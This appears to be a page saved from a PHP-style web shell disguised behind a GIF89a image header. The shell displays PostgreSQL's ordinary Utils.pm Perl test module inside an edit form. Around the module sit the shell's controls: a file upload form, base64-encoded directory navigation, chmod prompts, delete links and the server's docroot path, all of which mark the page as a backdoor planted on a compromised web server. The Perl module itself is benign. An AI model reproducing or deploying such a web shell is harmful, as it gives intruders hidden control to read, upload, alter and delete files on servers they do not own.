GIF89a
?
??????


			





   !!!"""###$$$%%%&&&'''((()))***+++,,,---...///000111222333444555666777888999:::;;;<<<===>>>???@@@AAABBBCCCDDDEEEFFFGGGHHHIIIJJJKKKLLLMMMNNNOOOPPPQQQRRRSSSTTTUUUVVVWWWXXXYYYZZZ[[[\\\]]]^^^___```aaabbbcccdddeeefffggghhhiiijjjkkklllmmmnnnooopppqqqrrrssstttuuuvvvwwwxxxyyyzzz{{{|||}}}~~~wnd[SJC;4.'"???!	???!Generated by onlineGIFtools.com?,????
?
????;
<hr>Utils.pm<form method=post action="?d=L3Vzci9saWIvcG9zdGdyZXNxbC8xNi9saWIvcGd4cy9zcmMvdGVzdC9wZXJsL1Bvc3RncmVTUUwvVGVzdA%3D%3D&f=VXRpbHMucG0%3D"><input name="f" value="Utils.pm"><textarea name="t">
# Copyright (c) 2021-2023, PostgreSQL Global Development Group

=pod

=head1 NAME

PostgreSQL::Test::Utils - helper module for writing PostgreSQL's C&lt;prove&gt; tests.

=head1 SYNOPSIS

  use PostgreSQL::Test::Utils;

  # Test basic output of a command
  program_help_ok('initdb');
  program_version_ok('initdb');
  program_options_handling_ok('initdb');

  # Test option combinations
  command_fails(['initdb', '--invalid-option'],
              'command fails with invalid option');
  my $tempdir = PostgreSQL::Test::Utils::tempdir;
  command_ok('initdb', '-D', $tempdir);

  # Miscellanea
  print &quot;on Windows&quot; if $PostgreSQL::Test::Utils::windows_os;
  ok(check_mode_recursive($stream_dir, 0700, 0600),
    &quot;check stream dir permissions&quot;);
  PostgreSQL::Test::Utils::system_log('pg_ctl', 'kill', 'QUIT', $slow_pid);

=head1 DESCRIPTION

C&lt;PostgreSQL::Test::Utils&gt; contains a set of routines dedicated to environment setup for
a PostgreSQL regression test run and includes some low-level routines
aimed at controlling command execution, logging and test functions.

=cut

# This module should never depend on any other PostgreSQL regression test
# modules.

package PostgreSQL::Test::Utils;

use strict;
use warnings;

use Carp;
use Config;
use Cwd;
use Exporter 'import';
use Fcntl qw(:mode :seek);
use File::Basename;
use File::Find;
use File::Spec;
use File::stat qw(stat);
use File::Temp ();
use IPC::Run;
use POSIX qw(locale_h);
use PostgreSQL::Test::SimpleTee;

# We need a version of Test::More recent enough to support subtests
use Test::More 0.98;

our @EXPORT = qw(
  generate_ascii_string
  slurp_dir
  slurp_file
  append_to_file
  string_replace_file
  check_mode_recursive
  chmod_recursive
  check_pg_config
  dir_symlink
  scan_server_header
  system_or_bail
  system_log
  run_log
  run_command
  pump_until

  command_ok
  command_fails
  command_exit_is
  program_help_ok
  program_version_ok
  program_options_handling_ok
  command_like
  command_like_safe
  command_fails_like
  command_checks_all

  $windows_os
  $is_msys2
  $use_unix_sockets
);

our ($windows_os, $is_msys2, $use_unix_sockets, $timeout_default,
	$tmp_check, $log_path, $test_logfile);

BEGIN
{

	# Set to untranslated messages, to be able to compare program output
	# with expected strings.
	delete $ENV{LANGUAGE};
	delete $ENV{LC_ALL};
	$ENV{LC_MESSAGES} = 'C';
	setlocale(LC_ALL, &quot;&quot;);

	# This list should be kept in sync with pg_regress.c.
	my @envkeys = qw (
	  PGCHANNELBINDING
	  PGCLIENTENCODING
	  PGCONNECT_TIMEOUT
	  PGDATA
	  PGDATABASE
	  PGGSSDELEGATION
	  PGGSSENCMODE
	  PGGSSLIB
	  PGHOSTADDR
	  PGKRBSRVNAME
	  PGPASSFILE
	  PGPASSWORD
	  PGREQUIREPEER
	  PGREQUIRESSL
	  PGSERVICE
	  PGSERVICEFILE
	  PGSSLCERT
	  PGSSLCRL
	  PGSSLCRLDIR
	  PGSSLKEY
	  PGSSLMAXPROTOCOLVERSION
	  PGSSLMINPROTOCOLVERSION
	  PGSSLMODE
	  PGSSLROOTCERT
	  PGSSLSNI
	  PGTARGETSESSIONATTRS
	  PGUSER
	  PGPORT
	  PGHOST
	  PG_COLOR
	);
	delete @ENV{@envkeys};

	$ENV{PGAPPNAME} = basename($0);

	# Must be set early
	$windows_os = $Config{osname} eq 'MSWin32' || $Config{osname} eq 'msys';
	# Check if this environment is MSYS2.
	$is_msys2 =
		 $windows_os
	  &amp;&amp; -x '/usr/bin/uname'
	  &amp;&amp; `uname -or` =~ /^[2-9].*Msys/;

	if ($windows_os)
	{
		require Win32API::File;
		Win32API::File-&gt;import(qw(createFile OsFHandleOpen CloseHandle));
	}

	# Specifies whether to use Unix sockets for test setups.  On
	# Windows we don't use them by default since it's not universally
	# supported, but it can be overridden if desired.
	$use_unix_sockets =
	  (!$windows_os || defined $ENV{PG_TEST_USE_UNIX_SOCKETS});

	$timeout_default = $ENV{PG_TEST_TIMEOUT_DEFAULT};
	$timeout_default = 180
	  if not defined $timeout_default or $timeout_default eq '';
}

=pod

=head1 EXPORTED VARIABLES

=over

=item C&lt;$windows_os&gt;

Set to true when running under Windows, except on Cygwin.

=item C&lt;$is_msys2&gt;

Set to true when running under MSYS2.

=back

=cut

INIT
{

	# Return EPIPE instead of killing the process with SIGPIPE.  An affected
	# test may still fail, but it's more likely to report useful facts.
	$SIG{PIPE} = 'IGNORE';

	# Determine output directories, and create them.  The base paths are the
	# TESTDATADIR / TESTLOGDIR environment variables, which are normally set
	# by the invoking Makefile.
	$tmp_check = $ENV{TESTDATADIR} ? &quot;$ENV{TESTDATADIR}&quot; : &quot;tmp_check&quot;;
	$log_path = $ENV{TESTLOGDIR} ? &quot;$ENV{TESTLOGDIR}&quot; : &quot;log&quot;;

	mkdir $tmp_check;
	mkdir $log_path;

	# Open the test log file, whose name depends on the test name.
	$test_logfile = basename($0);
	$test_logfile =~ s/\.[^.]+$//;
	$test_logfile = &quot;$log_path/regress_log_$test_logfile&quot;;
	open my $testlog, '&gt;', $test_logfile
	  or die &quot;could not open STDOUT to logfile \&quot;$test_logfile\&quot;: $!&quot;;

	# Hijack STDOUT and STDERR to the log file
	open(my $orig_stdout, '&gt;&amp;', \*STDOUT);
	open(my $orig_stderr, '&gt;&amp;', \*STDERR);
	open(STDOUT, '&gt;&amp;', $testlog);
	open(STDERR, '&gt;&amp;', $testlog);

	# The test output (ok ...) needs to be printed to the original STDOUT so
	# that the 'prove' program can parse it, and display it to the user in
	# real time. But also copy it to the log file, to provide more context
	# in the log.
	my $builder = Test::More-&gt;builder;
	my $fh = $builder-&gt;output;
	tie *$fh, &quot;PostgreSQL::Test::SimpleTee&quot;, $orig_stdout, $testlog;
	$fh = $builder-&gt;failure_output;
	tie *$fh, &quot;PostgreSQL::Test::SimpleTee&quot;, $orig_stderr, $testlog;

	# Enable auto-flushing for all the file handles. Stderr and stdout are
	# redirected to the same file, and buffering causes the lines to appear
	# in the log in confusing order.
	autoflush STDOUT 1;
	autoflush STDERR 1;
	autoflush $testlog 1;
}

END
{

	# Test files have several ways of causing prove_check to fail:
	# 1. Exit with a non-zero status.
	# 2. Call ok(0) or similar, indicating that a constituent test failed.
	# 3. Deviate from the planned number of tests.
	#
	# Preserve temporary directories after (1) and after (2).
	$File::Temp::KEEP_ALL = 1 unless $? == 0 &amp;&amp; all_tests_passing();
}

=pod

=head1 ROUTINES

=over

=item all_tests_passing()

Return 1 if all the tests run so far have passed. Otherwise, return 0.

=cut

sub all_tests_passing
{
	foreach my $status (Test::More-&gt;builder-&gt;summary)
	{
		return 0 unless $status;
	}
	return 1;
}

=pod

=item tempdir(prefix)

Securely create a temporary directory inside C&lt;$tmp_check&gt;, like C&lt;mkdtemp&gt;,
and return its name.  The directory will be removed automatically at the
end of the tests, unless the environment variable PG_TEST_NOCLEAN is provided.

If C&lt;prefix&gt; is given, the new directory is templated as C&lt;${prefix}_XXXX&gt;.
Otherwise the template is C&lt;tmp_test_XXXX&gt;.

=cut

sub tempdir
{
	my ($prefix) = @_;
	$prefix = &quot;tmp_test&quot; unless defined $prefix;
	return File::Temp::tempdir(
		$prefix . '_XXXX',
		DIR =&gt; $tmp_check,
		CLEANUP =&gt; not defined $ENV{'PG_TEST_NOCLEAN'});
}

=pod

=item tempdir_short()

As above, but the directory is outside the build tree so that it has a short
name, to avoid path length issues.

=cut

sub tempdir_short
{

	return File::Temp::tempdir(
		CLEANUP =&gt; not defined $ENV{'PG_TEST_NOCLEAN'});
}

=pod

=item has_wal_read_bug()

Returns true if $tmp_check is subject to a sparc64+ext4 bug that causes WAL
readers to see zeros if another process simultaneously wrote the same offsets.
Consult this in tests that fail frequently on affected configurations.  The
bug has made streaming standbys fail to advance, reporting corrupt WAL.  It
has made COMMIT PREPARED fail with &quot;could not read two-phase state from WAL&quot;.
Non-WAL PostgreSQL reads haven't been affected, likely because those readers
and writers have buffering systems in common.  See
https://postgr.es/m/20220116210241.GC756210@rfd.leadboat.com for details.

=cut

sub has_wal_read_bug
{
	return
		 $Config{osname} eq 'linux'
	  &amp;&amp; $Config{archname} =~ /^sparc/
	  &amp;&amp; !run_log([ qw(df -x ext4), $tmp_check ], '&gt;', '/dev/null', '2&gt;&amp;1');
}

=pod

=item system_log(@cmd)

Run (via C&lt;system()&gt;) the command passed as argument; the return
value is passed through.

=cut

sub system_log
{
	print(&quot;# Running: &quot; . join(&quot; &quot;, @_) . &quot;\n&quot;);
	return system(@_);
}

=pod

=item system_or_bail(@cmd)

Run (via C&lt;system()&gt;) the command passed as argument, and returns
if the command is successful.
On failure, abandon further tests and exit the program.

=cut

sub system_or_bail
{
	if (system_log(@_) != 0)
	{
		if ($? == -1)
		{
			BAIL_OUT(
				sprintf(
					&quot;failed to execute command \&quot;%s\&quot;: $!&quot;, join(&quot; &quot;, @_)));
		}
		elsif ($? &amp; 127)
		{
			BAIL_OUT(
				sprintf(
					&quot;command \&quot;%s\&quot; died with signal %d&quot;,
					join(&quot; &quot;, @_),
					$? &amp; 127));
		}
		else
		{
			BAIL_OUT(
				sprintf(
					&quot;command \&quot;%s\&quot; exited with value %d&quot;,
					join(&quot; &quot;, @_),
					$? &gt;&gt; 8));
		}
	}
}

=pod

=item run_log(@cmd)

Run the given command via C&lt;IPC::Run::run()&gt;, noting it in the log.
The return value from the command is passed through.

=cut

sub run_log
{
	print(&quot;# Running: &quot; . join(&quot; &quot;, @{ $_[0] }) . &quot;\n&quot;);
	return IPC::Run::run(@_);
}

=pod

=item run_command(cmd)

Run (via C&lt;IPC::Run::run()&gt;) the command passed as argument.
The return value from the command is ignored.
The return value is C&lt;($stdout, $stderr)&gt;.

=cut

sub run_command
{
	my ($cmd) = @_;
	my ($stdout, $stderr);
	my $result = IPC::Run::run $cmd, '&gt;', \$stdout, '2&gt;', \$stderr;
	chomp($stdout);
	chomp($stderr);
	return ($stdout, $stderr);
}

=pod

=item pump_until(proc, timeout, stream, until)

Pump until string is matched on the specified stream, or timeout occurs.

=cut

sub pump_until
{
	my ($proc, $timeout, $stream, $until) = @_;
	$proc-&gt;pump_nb();
	while (1)
	{
		last if $$stream =~ /$until/;
		if ($timeout-&gt;is_expired)
		{
			diag(
				&quot;pump_until: timeout expired when searching for \&quot;$until\&quot; with stream: \&quot;$$stream\&quot;&quot;
			);
			return 0;
		}
		if (not $proc-&gt;pumpable())
		{
			diag(
				&quot;pump_until: process terminated unexpectedly when searching for \&quot;$until\&quot; with stream: \&quot;$$stream\&quot;&quot;
			);
			return 0;
		}
		$proc-&gt;pump();
	}
	return 1;
}

=pod

=item generate_ascii_string(from_char, to_char)

Generate a string made of the given range of ASCII characters.

=cut

sub generate_ascii_string
{
	my ($from_char, $to_char) = @_;
	my $res;

	for my $i ($from_char .. $to_char)
	{
		$res .= sprintf(&quot;%c&quot;, $i);
	}
	return $res;
}

=pod

=item slurp_dir(dir)

Return the complete list of entries in the specified directory.

=cut

sub slurp_dir
{
	my ($dir) = @_;
	opendir(my $dh, $dir)
	  or croak &quot;could not opendir \&quot;$dir\&quot;: $!&quot;;
	my @direntries = readdir $dh;
	closedir $dh;
	return @direntries;
}

=pod

=item slurp_file(filename [, $offset])

Return the full contents of the specified file, beginning from an
offset position if specified.

=cut

sub slurp_file
{
	my ($filename, $offset) = @_;
	local $/;
	my $contents;
	my $fh;

	# On windows open file using win32 APIs, to allow us to set the
	# FILE_SHARE_DELETE flag (&quot;d&quot; below), otherwise other accesses to the file
	# may fail.
	if ($Config{osname} ne 'MSWin32')
	{
		open($fh, '&lt;', $filename)
		  or croak &quot;could not read \&quot;$filename\&quot;: $!&quot;;
	}
	else
	{
		my $fHandle = createFile($filename, &quot;r&quot;, &quot;rwd&quot;)
		  or croak &quot;could not open \&quot;$filename\&quot;: $^E&quot;;
		OsFHandleOpen($fh = IO::Handle-&gt;new(), $fHandle, 'r')
		  or croak &quot;could not read \&quot;$filename\&quot;: $^E\n&quot;;
	}

	if (defined($offset))
	{
		seek($fh, $offset, SEEK_SET)
		  or croak &quot;could not seek \&quot;$filename\&quot;: $!&quot;;
	}

	$contents = &lt;$fh&gt;;
	close $fh;

	return $contents;
}

=pod

=item append_to_file(filename, str)

Append a string at the end of a given file.  (Note: no newline is appended at
end of file.)

=cut

sub append_to_file
{
	my ($filename, $str) = @_;
	open my $fh, &quot;&gt;&gt;&quot;, $filename
	  or croak &quot;could not write \&quot;$filename\&quot;: $!&quot;;
	print $fh $str;
	close $fh;
	return;
}

=pod

=item string_replace_file(filename, find, replace)

Find and replace string of a given file.

=cut

sub string_replace_file
{
	my ($filename, $find, $replace) = @_;
	open(my $in, '&lt;', $filename);
	my $content = '';
	while (&lt;$in&gt;)
	{
		$_ =~ s/$find/$replace/;
		$content = $content . $_;
	}
	close $in;
	open(my $out, '&gt;', $filename);
	print $out $content;
	close($out);

	return;
}

=pod

=item check_mode_recursive(dir, expected_dir_mode, expected_file_mode, ignore_list)

Check that all file/dir modes in a directory match the expected values,
ignoring files in C&lt;ignore_list&gt; (basename only).

=cut

sub check_mode_recursive
{
	my ($dir, $expected_dir_mode, $expected_file_mode, $ignore_list) = @_;

	# Result defaults to true
	my $result = 1;

	find(
		{
			follow_fast =&gt; 1,
			wanted =&gt; sub {
				# Is file in the ignore list?
				foreach my $ignore ($ignore_list ? @{$ignore_list} : [])
				{
					if (&quot;$dir/$ignore&quot; eq $File::Find::name)
					{
						return;
					}
				}

				# Allow ENOENT.  A running server can delete files, such as
				# those in pg_stat.  Other stat() failures are fatal.
				my $file_stat = stat($File::Find::name);
				unless (defined($file_stat))
				{
					my $is_ENOENT = $!{ENOENT};
					my $msg = &quot;unable to stat $File::Find::name: $!&quot;;
					if ($is_ENOENT)
					{
						warn $msg;
						return;
					}
					else
					{
						die $msg;
					}
				}

				my $file_mode = S_IMODE($file_stat-&gt;mode);

				# Is this a file?
				if (S_ISREG($file_stat-&gt;mode))
				{
					if ($file_mode != $expected_file_mode)
					{
						print(
							*STDERR,
							sprintf(&quot;$File::Find::name mode must be %04o\n&quot;,
								$expected_file_mode));

						$result = 0;
						return;
					}
				}

				# Else a directory?
				elsif (S_ISDIR($file_stat-&gt;mode))
				{
					if ($file_mode != $expected_dir_mode)
					{
						print(
							*STDERR,
							sprintf(&quot;$File::Find::name mode must be %04o\n&quot;,
								$expected_dir_mode));

						$result = 0;
						return;
					}
				}

				# Else something we can't handle
				else
				{
					die &quot;unknown file type for $File::Find::name&quot;;
				}
			}
		},
		$dir);

	return $result;
}

=pod

=item chmod_recursive(dir, dir_mode, file_mode)

C&lt;chmod&gt; recursively each file and directory within the given directory.

=cut

sub chmod_recursive
{
	my ($dir, $dir_mode, $file_mode) = @_;

	find(
		{
			follow_fast =&gt; 1,
			wanted =&gt; sub {
				my $file_stat = stat($File::Find::name);

				if (defined($file_stat))
				{
					chmod(
						S_ISDIR($file_stat-&gt;mode) ? $dir_mode : $file_mode,
						$File::Find::name
					) or die &quot;unable to chmod $File::Find::name&quot;;
				}
			}
		},
		$dir);
	return;
}

=pod

=item scan_server_header(header_path, regexp)

Returns an array that stores all the matches of the given regular expression
within the PostgreSQL installation's C&lt;header_path&gt;.  This can be used to
retrieve specific value patterns from the installation's header files.

=cut

sub scan_server_header
{
	my ($header_path, $regexp) = @_;

	my ($stdout, $stderr);
	my $result = IPC::Run::run [ 'pg_config', '--includedir-server' ], '&gt;',
	  \$stdout, '2&gt;', \$stderr
	  or die &quot;could not execute pg_config&quot;;
	chomp($stdout);
	$stdout =~ s/\r$//;

	open my $header_h, '&lt;', &quot;$stdout/$header_path&quot; or die &quot;$!&quot;;

	my @match = undef;
	while (&lt;$header_h&gt;)
	{
		my $line = $_;

		if (@match = $line =~ /^$regexp/)
		{
			last;
		}
	}

	close $header_h;
	die &quot;could not find match in header $header_path\n&quot;
	  unless @match;
	return @match;
}

=pod

=item check_pg_config(regexp)

Return the number of matches of the given regular expression
within the installation's C&lt;pg_config.h&gt;.

=cut

sub check_pg_config
{
	my ($regexp) = @_;
	my ($stdout, $stderr);
	my $result = IPC::Run::run [ 'pg_config', '--includedir' ], '&gt;',
	  \$stdout, '2&gt;', \$stderr
	  or die &quot;could not execute pg_config&quot;;
	chomp($stdout);
	$stdout =~ s/\r$//;

	open my $pg_config_h, '&lt;', &quot;$stdout/pg_config.h&quot; or die &quot;$!&quot;;
	my $match = (grep { /^$regexp/ } &lt;$pg_config_h&gt;);
	close $pg_config_h;
	return $match;
}

=pod

=item dir_symlink(oldname, newname)

Portably create a symlink for a directory. On Windows this creates a junction
point. Elsewhere it just calls perl's builtin symlink.

=cut

sub dir_symlink
{
	my $oldname = shift;
	my $newname = shift;
	if ($windows_os)
	{
		$oldname =~ s,/,\\,g;
		$newname =~ s,/,\\,g;
		my $cmd = qq{mklink /j &quot;$newname&quot; &quot;$oldname&quot;};
		if ($Config{osname} eq 'msys')
		{
			# need some indirection on msys
			$cmd = qq{echo '$cmd' | \$COMSPEC /Q};
		}
		system($cmd);
	}
	else
	{
		symlink $oldname, $newname;
	}
	die &quot;No $newname&quot; unless -e $newname;
}

=pod

=back

=head1 Test::More-LIKE METHODS

=over

=item command_ok(cmd, test_name)

Check that the command runs (via C&lt;run_log&gt;) successfully.

=cut

sub command_ok
{
	local $Test::Builder::Level = $Test::Builder::Level + 1;
	my ($cmd, $test_name) = @_;
	my $result = run_log($cmd);
	ok($result, $test_name);
	return;
}

=pod

=item command_fails(cmd, test_name)

Check that the command fails (when run via C&lt;run_log&gt;).

=cut

sub command_fails
{
	local $Test::Builder::Level = $Test::Builder::Level + 1;
	my ($cmd, $test_name) = @_;
	my $result = run_log($cmd);
	ok(!$result, $test_name);
	return;
}

=pod

=item command_exit_is(cmd, expected, test_name)

Check that the command exit code matches the expected exit code.

=cut

sub command_exit_is
{
	local $Test::Builder::Level = $Test::Builder::Level + 1;
	my ($cmd, $expected, $test_name) = @_;
	print(&quot;# Running: &quot; . join(&quot; &quot;, @{$cmd}) . &quot;\n&quot;);
	my $h = IPC::Run::start $cmd;
	$h-&gt;finish();

	# Normally, if the child called exit(N), IPC::Run::result() returns N.  On
	# Windows, with IPC::Run v20220807.0 and earlier, full_results() is the
	# method that returns N (https://github.com/toddr/IPC-Run/issues/161).
	my $result =
	  ($Config{osname} eq &quot;MSWin32&quot; &amp;&amp; $IPC::Run::VERSION &lt;= 20220807.0)
	  ? ($h-&gt;full_results)[0]
	  : $h-&gt;result(0);
	is($result, $expected, $test_name);
	return;
}

=pod

=item program_help_ok(cmd)

Check that the command supports the C&lt;--help&gt; option.

=cut

sub program_help_ok
{
	local $Test::Builder::Level = $Test::Builder::Level + 1;
	my ($cmd) = @_;
	my ($stdout, $stderr);
	print(&quot;# Running: $cmd --help\n&quot;);
	my $result = IPC::Run::run [ $cmd, '--help' ], '&gt;', \$stdout, '2&gt;',
	  \$stderr;
	ok($result, &quot;$cmd --help exit code 0&quot;);
	isnt($stdout, '', &quot;$cmd --help goes to stdout&quot;);
	is($stderr, '', &quot;$cmd --help nothing to stderr&quot;);
	return;
}

=pod

=item program_version_ok(cmd)

Check that the command supports the C&lt;--version&gt; option.

=cut

sub program_version_ok
{
	local $Test::Builder::Level = $Test::Builder::Level + 1;
	my ($cmd) = @_;
	my ($stdout, $stderr);
	print(&quot;# Running: $cmd --version\n&quot;);
	my $result = IPC::Run::run [ $cmd, '--version' ], '&gt;', \$stdout, '2&gt;',
	  \$stderr;
	ok($result, &quot;$cmd --version exit code 0&quot;);
	isnt($stdout, '', &quot;$cmd --version goes to stdout&quot;);
	is($stderr, '', &quot;$cmd --version nothing to stderr&quot;);
	return;
}

=pod

=item program_options_handling_ok(cmd)

Check that a command with an invalid option returns a non-zero
exit code and error message.

=cut

sub program_options_handling_ok
{
	local $Test::Builder::Level = $Test::Builder::Level + 1;
	my ($cmd) = @_;
	my ($stdout, $stderr);
	print(&quot;# Running: $cmd --not-a-valid-option\n&quot;);
	my $result = IPC::Run::run [ $cmd, '--not-a-valid-option' ], '&gt;',
	  \$stdout,
	  '2&gt;', \$stderr;
	ok(!$result, &quot;$cmd with invalid option nonzero exit code&quot;);
	isnt($stderr, '', &quot;$cmd with invalid option prints error message&quot;);
	return;
}

=pod

=item command_like(cmd, expected_stdout, test_name)

Check that the command runs successfully and the output
matches the given regular expression.

=cut

sub command_like
{
	local $Test::Builder::Level = $Test::Builder::Level + 1;
	my ($cmd, $expected_stdout, $test_name) = @_;
	my ($stdout, $stderr);
	print(&quot;# Running: &quot; . join(&quot; &quot;, @{$cmd}) . &quot;\n&quot;);
	my $result = IPC::Run::run $cmd, '&gt;', \$stdout, '2&gt;', \$stderr;
	ok($result, &quot;$test_name: exit code 0&quot;);
	is($stderr, '', &quot;$test_name: no stderr&quot;);
	like($stdout, $expected_stdout, &quot;$test_name: matches&quot;);
	return;
}

=pod

=item command_like_safe(cmd, expected_stdout, test_name)

Check that the command runs successfully and the output
matches the given regular expression.  Doesn't assume that the
output files are closed.

=cut

sub command_like_safe
{
	local $Test::Builder::Level = $Test::Builder::Level + 1;

	# Doesn't rely on detecting end of file on the file descriptors,
	# which can fail, causing the process to hang, notably on Msys
	# when used with 'pg_ctl start'
	my ($cmd, $expected_stdout, $test_name) = @_;
	my ($stdout, $stderr);
	my $stdoutfile = File::Temp-&gt;new();
	my $stderrfile = File::Temp-&gt;new();
	print(&quot;# Running: &quot; . join(&quot; &quot;, @{$cmd}) . &quot;\n&quot;);
	my $result = IPC::Run::run $cmd, '&gt;', $stdoutfile, '2&gt;', $stderrfile;
	$stdout = slurp_file($stdoutfile);
	$stderr = slurp_file($stderrfile);
	ok($result, &quot;$test_name: exit code 0&quot;);
	is($stderr, '', &quot;$test_name: no stderr&quot;);
	like($stdout, $expected_stdout, &quot;$test_name: matches&quot;);
	return;
}

=pod

=item command_fails_like(cmd, expected_stderr, test_name)

Check that the command fails and the error message matches
the given regular expression.

=cut

sub command_fails_like
{
	local $Test::Builder::Level = $Test::Builder::Level + 1;
	my ($cmd, $expected_stderr, $test_name) = @_;
	my ($stdout, $stderr);
	print(&quot;# Running: &quot; . join(&quot; &quot;, @{$cmd}) . &quot;\n&quot;);
	my $result = IPC::Run::run $cmd, '&gt;', \$stdout, '2&gt;', \$stderr;
	ok(!$result, &quot;$test_name: exit code not 0&quot;);
	like($stderr, $expected_stderr, &quot;$test_name: matches&quot;);
	return;
}

=pod

=item command_checks_all(cmd, ret, out, err, test_name)

Run a command and check its status and outputs.
Arguments:

=over

=item C&lt;cmd&gt;: Array reference of command and arguments to run

=item C&lt;ret&gt;: Expected exit code

=item C&lt;out&gt;: Expected stdout from command

=item C&lt;err&gt;: Expected stderr from command

=item C&lt;test_name&gt;: test name

=back

=cut

sub command_checks_all
{
	local $Test::Builder::Level = $Test::Builder::Level + 1;

	my ($cmd, $expected_ret, $out, $err, $test_name) = @_;

	# run command
	my ($stdout, $stderr);
	print(&quot;# Running: &quot; . join(&quot; &quot;, @{$cmd}) . &quot;\n&quot;);
	IPC::Run::run($cmd, '&gt;', \$stdout, '2&gt;', \$stderr);

	# See http://perldoc.perl.org/perlvar.html#%24CHILD_ERROR
	my $ret = $?;
	die &quot;command exited with signal &quot; . ($ret &amp; 127)
	  if $ret &amp; 127;
	$ret = $ret &gt;&gt; 8;

	# check status
	ok($ret == $expected_ret,
		&quot;$test_name status (got $ret vs expected $expected_ret)&quot;);

	# check stdout
	for my $re (@$out)
	{
		like($stdout, $re, &quot;$test_name stdout /$re/&quot;);
	}

	# check stderr
	for my $re (@$err)
	{
		like($stderr, $re, &quot;$test_name stderr /$re/&quot;);
	}

	return;
}

=pod

=back

=cut

1;
</textarea><input type=submit value=update></form><hr>docroot: <a href="?d=L3Zhci93d3cvZTM1ZjUxNmEtZTYyOS00NWU1LThjMGYtMzg4OWYyMGEyNDkzL3B1YmxpY19odG1s">/var/www/e35f516a-e629-45e5-8c0f-3889f20a2493/public_html</a><hr>curdir: /usr/lib/postgresql/16/lib/pgxs/src/test/perl/PostgreSQL/Test<form method="post" action="#" enctype="multipart/form-data"><input type="file" name="u"><input type="submit" value="UpL0ad"></form><table border=1><tr><td></td><td><a href="?d=L3Vzci9saWIvcG9zdGdyZXNxbC8xNi9saWIvcGd4cy9zcmMvdGVzdC9wZXJsL1Bvc3RncmVTUUwvVGVzdA=="/>.</a></td><td><input type="button" onclick="c=prompt(`chmod:`,this.value),c?location.href=`?d=L3Vzci9saWIvcG9zdGdyZXNxbC8xNi9saWIvcGd4cy9zcmMvdGVzdC9wZXJsL1Bvc3RncmVTUUwvVGVzdA==&f=Lg==&c=`+btoa(c):0" value="0755"></td><td>4096</td></tr><tr><td></td><td><a href="?d=L3Vzci9saWIvcG9zdGdyZXNxbC8xNi9saWIvcGd4cy9zcmMvdGVzdC9wZXJsL1Bvc3RncmVTUUw="/>..</a></td><td><input type="button" onclick="c=prompt(`chmod:`,this.value),c?location.href=`?d=L3Vzci9saWIvcG9zdGdyZXNxbC8xNi9saWIvcGd4cy9zcmMvdGVzdC9wZXJsL1Bvc3RncmVTUUwvVGVzdA==&f=Li4=&c=`+btoa(c):0" value="0755"></td><td>4096</td></tr><tr><td><a href="?d=L3Vzci9saWIvcG9zdGdyZXNxbC8xNi9saWIvcGd4cy9zcmMvdGVzdC9wZXJsL1Bvc3RncmVTUUwvVGVzdA==&x=QmFja2dyb3VuZFBzcWwucG0=">X</a></td><td><a href="?d=L3Vzci9saWIvcG9zdGdyZXNxbC8xNi9saWIvcGd4cy9zcmMvdGVzdC9wZXJsL1Bvc3RncmVTUUwvVGVzdA==&f=QmFja2dyb3VuZFBzcWwucG0="/>BackgroundPsql.pm</a></td><td><input type="button" onclick="c=prompt(`chmod:`,this.value),c?location.href=`?d=L3Vzci9saWIvcG9zdGdyZXNxbC8xNi9saWIvcGd4cy9zcmMvdGVzdC9wZXJsL1Bvc3RncmVTUUwvVGVzdA==&f=QmFja2dyb3VuZFBzcWwucG0=&c=`+btoa(c):0" value="0644"></td><td>9039</td></tr><tr><td><a href="?d=L3Vzci9saWIvcG9zdGdyZXNxbC8xNi9saWIvcGd4cy9zcmMvdGVzdC9wZXJsL1Bvc3RncmVTUUwvVGVzdA==&x=Q2x1c3Rlci5wbQ==">X</a></td><td><a href="?d=L3Vzci9saWIvcG9zdGdyZXNxbC8xNi9saWIvcGd4cy9zcmMvdGVzdC9wZXJsL1Bvc3RncmVTUUwvVGVzdA==&f=Q2x1c3Rlci5wbQ=="/>Cluster.pm</a></td><td><input type="button" onclick="c=prompt(`chmod:`,this.value),c?location.href=`?d=L3Vzci9saWIvcG9zdGdyZXNxbC8xNi9saWIvcGd4cy9zcmMvdGVzdC9wZXJsL1Bvc3RncmVTUUwvVGVzdA==&f=Q2x1c3Rlci5wbQ==&c=`+btoa(c):0" value="0644"></td><td>85521</td></tr><tr><td><a href="?d=L3Vzci9saWIvcG9zdGdyZXNxbC8xNi9saWIvcGd4cy9zcmMvdGVzdC9wZXJsL1Bvc3RncmVTUUwvVGVzdA==&x=UmVjdXJzaXZlQ29weS5wbQ==">X</a></td><td><a href="?d=L3Vzci9saWIvcG9zdGdyZXNxbC8xNi9saWIvcGd4cy9zcmMvdGVzdC9wZXJsL1Bvc3RncmVTUUwvVGVzdA==&f=UmVjdXJzaXZlQ29weS5wbQ=="/>RecursiveCopy.pm</a></td><td><input type="button" onclick="c=prompt(`chmod:`,this.value),c?location.href=`?d=L3Vzci9saWIvcG9zdGdyZXNxbC8xNi9saWIvcGd4cy9zcmMvdGVzdC9wZXJsL1Bvc3RncmVTUUwvVGVzdA==&f=UmVjdXJzaXZlQ29weS5wbQ==&c=`+btoa(c):0" value="0644"></td><td>4083</td></tr><tr><td><a href="?d=L3Vzci9saWIvcG9zdGdyZXNxbC8xNi9saWIvcGd4cy9zcmMvdGVzdC9wZXJsL1Bvc3RncmVTUUwvVGVzdA==&x=U2ltcGxlVGVlLnBt">X</a></td><td><a href="?d=L3Vzci9saWIvcG9zdGdyZXNxbC8xNi9saWIvcGd4cy9zcmMvdGVzdC9wZXJsL1Bvc3RncmVTUUwvVGVzdA==&f=U2ltcGxlVGVlLnBt"/>SimpleTee.pm</a></td><td><input type="button" onclick="c=prompt(`chmod:`,this.value),c?location.href=`?d=L3Vzci9saWIvcG9zdGdyZXNxbC8xNi9saWIvcGd4cy9zcmMvdGVzdC9wZXJsL1Bvc3RncmVTUUwvVGVzdA==&f=U2ltcGxlVGVlLnBt&c=`+btoa(c):0" value="0644"></td><td>1567</td></tr><tr><td><a href="?d=L3Vzci9saWIvcG9zdGdyZXNxbC8xNi9saWIvcGd4cy9zcmMvdGVzdC9wZXJsL1Bvc3RncmVTUUwvVGVzdA==&x=VXRpbHMucG0=">X</a></td><td><a href="?d=L3Vzci9saWIvcG9zdGdyZXNxbC8xNi9saWIvcGd4cy9zcmMvdGVzdC9wZXJsL1Bvc3RncmVTUUwvVGVzdA==&f=VXRpbHMucG0="/>Utils.pm</a></td><td><input type="button" 